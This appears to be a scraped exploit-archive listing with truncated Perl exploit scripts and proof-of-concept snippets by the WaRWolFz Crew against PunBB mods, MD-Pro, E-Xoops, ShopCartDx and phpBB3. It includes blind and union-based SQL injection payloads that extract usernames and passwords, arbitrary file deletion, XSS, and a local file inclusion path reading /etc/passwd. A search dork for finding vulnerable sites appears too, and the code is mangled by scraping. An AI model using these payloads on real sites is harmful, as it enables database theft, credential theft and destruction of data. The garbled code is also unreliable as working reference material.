PunBB Reputation.php Mod 2.0.4 - Local File Inclusion

!/usr/bin/perl 0-Day PunBB Reputation.php Mod 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub LocalFileInclusion my $Directory,$Command = @; return "./include/reputation/repprofile.php?punuserlanguage=$Directory$Command%00"; my $Get =...

PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit

No description provided by source. !/usr/bin/perl 0-Day PunBB Automatic Image Upload = v1.3.5 Delete Arbitrary File Vulnerability Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew Works only if '$AllowDelete = "USERGROUP";' is not commented in "uploadimgconfig.php" FIND...

PunBB Automatic Image Upload 1.3.5 SQL Injection

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowStats = "Members"; use LWP::UserAgent; use HTTP::Cookies; use strict; my $UserName,$PassWord,$ID = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

PunBB Automatic Image Upload <= 1.3.5 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl 0-Day PunBB Automatic Image Upload = v1.3.5 Remote SQL Injection Exploit Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew Works only if '$AllowStats = "USERGROUP";' is not commented in "uploadimgconfig.php" FIND LINE: 75...

PunBB Reputation.php Mod 2.0.4 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Reputation.php Mod newPOST = $Host; my $Cookies = new HTTP::Cookies; my $HTTP = new LWP::UserAgent agent = 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Referrer = "formsent=1&pid=10174&poster=Dante90, WaRWolFz...

PunBB Automatic Image Upload 1.3.5 Delete File

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

PunBB Automatic Image Upload 1.3.5 - Arbitrary File Delete

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

ShopCartDx 4.30 SQL Injection

!/usr/bin/perl 0-Day ShopCartDx 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$MemberID; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 : a-zA-Z0-91,15/i refresh$HostName, $1, $2, $3; print " Exploit Successed \n"; print "...

PunBB Affiliates Mod 1.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

PunBB Affiliations.php Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

PunBB Affiliations.php IN 1.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php IN Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?in=-1+OR+1!=SELECT...

PunBB VoteForUs.php OUT 1.0.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

Oxygen2PHP 1.1.3 Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

MDPRO CWGuestBook 2.1 SQL Injection

Author: Dante90, WaRWolFz Crew Title: 0-Day MDPRO CWGuestBook = v2.1 Mod Remote SQL Injection By Dante90 MSN: [email protected] Web: www.warwolfz.org 0-Day MDPRO CWGuestBook = v2.1 Mod Remote SQL Injection By Dante90 code...

MD-Pro 1.083.x - Survey Module pollID Blind SQL Injection

MD-Pro 1.083.x - Survey Module pollID Blind SQL Injection !Informationschema: Product: MDPro v 1.083.x site: www.maxdev.com Vuln: Blind $QL Injection pollID Author: XaDoS thanks to S3rg3770 dork: inurl:modules.php?op= "pollID" "Powered By MDPro" Vuln: PollID...

E-Xoops 1.08 SQL Injection

Author: Dante90, WaRWolFz Crew Title: 0-Day SQL Injection E-Xoops = 1.08 By Dante90 MSN: [email protected] Web: www.warwolfz.org 0-Day SQL Injection E-Xoops = 1.08 By Dante90 code http://www.victimesite.org/WaRWolFz/modules/mylinks/ratelink.php?lid=-1UNION SELECT CONCATname,CHAR32,58,32,pas...

XSS Private Messagging On PhpBB3(0day)

No description provided by source. Authors: Dante90, WaRWolFz Crew T0T4L, Ex Member Crew Title: XSS Private Messagging On PhpBB3 By Dante90 0-Day & Priv8 MSN: [email protected] Web: www.warwolfz.org Description: XSS Cross Site Scripting, Grab Status: 100%. XSS Private Messagging On PhpBB3 B...

youtubeclone-xss.txt

Discovered by Smasher CMS: Youtube Clone Script Site: http://warwolfz.altervista.org WarWolfZ Security Crew. Hello i don't know if this vuln is already out , but i've searched in securityfocus and is not present. Bug found in loadmessage.php at line 4: Ex:...

Garment Center (index.cgi) Local File Inclusion

Discovered by Smasher + WarWolfz Crew. + http://warwolfz.altervista.org/ Hey wassup....i've found a vulnerability in Garmentcenter in index.cgi... PoC: /index.cgi?page=LFI Ex. http://site1.com/index.cgi?page=../../../../../../../../etc/passwd00 Regards. Smasher...